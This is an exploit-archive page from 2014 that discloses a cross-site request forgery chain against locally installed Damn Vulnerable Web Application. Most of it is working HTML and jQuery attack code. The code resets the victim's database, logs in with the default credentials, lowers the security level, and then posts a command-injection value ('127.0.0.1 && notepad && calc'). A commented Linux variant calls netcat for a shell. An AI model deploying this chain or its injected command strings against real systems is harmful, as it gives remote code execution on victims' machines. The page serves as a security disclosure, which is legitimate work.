what you don't know can hurt you

DVWA Cross Site Request Forgery

DVWA Cross Site Request Forgery
Posted Sep 15, 2014
Authored by Paulos Yibelo

Damn Vulnerable Web Application, which is meant to be a vulnerable web application for security testing, can be leveraged by attackers to compromise your system when in use. This is a good reminder to only use DVWA on an air-gapped network. This exploits demonstrates the ability to gain code execution on the system.

tags | exploit, web, code execution, csrf
MD5 | 0b363f1fdc45ecfbf33d0391bd239c05

DVWA Cross Site Request Forgery

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<!-- There are multiple CSRF issues in DVWA. Attackers can use these CSRF exploits to
first reset the DVWA database of victim, then make the victim log in using the default resets,
next crafts another CSRF to change the challenge level to low to make exploitation more probable,
then use these to craft a command execution CSRF and possibly get a shell. :)

*This PoC will open calculator as a demo execution in approximately 5 seconds.*

The attacker just needs to know you have DVWA for this to work.

Paulos Yibelo and Tabor N. Shiferaw 2014

-->

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js' type='text/javascript'>
</script>
<div id='loader'></div>

<Script>

//document.getElementById("loader").innerHTML = 'Loading...';

var one = {"create_db":'whatever'};
var two = {"username":"admin","password":"password","Login":"Login"};
var three = {"security":"low","seclev_submit":"Submit"};

//windows opens calculator; change this to whatever your desire
var four = {"ip":"127.0.0.1 && notepad && calc","submit":"submit"};

//linux
//var four = {"ip":"127.0.0.1;netcat -l 15.11.11.x -p 4444","submit":"submit"};

/*
*step 1
*Reset the Databse
*/
function start_exploit()
{
$("#loader").html("Loading...");
$.ajax({
url:"http://localhost/dvwa/setup.php",
type:"POST",
data:one,
success:
function(x){
dvwaLogin();
}

});
}
/*
*step 2
*login using default new password
*/
function dvwaLogin()
{
$.ajax({
url:"http://localhost/dvwa/login.php",
type:"POST",
data:two,
success:function(x){
levelChanger();
}
});
}
/*
*step 3
*set level to low
*/
function levelChanger(){
$.ajax({
url:"http://localhost/dvwa/security.php",
type:"POST",
data:three,
success:function(x){
commandExecution();
}
});
}

/*
*step 4
*execute command
*/
function commandExecution(){
$.ajax(
{
url:"http://localhost/dvwa/vulnerabilities/exec/index.php",
type:"POST",
data:four,
success:function(x){
//document.getElementById("loader").innerHTML = "Executed";
$("#loader").text("Loaded");
}
}
);
}


start_exploit();
</script>

<!-- check out http://paulosyibelo.blogspot.com/2014/09/dvwa-unintended-security-issues.html for more -->

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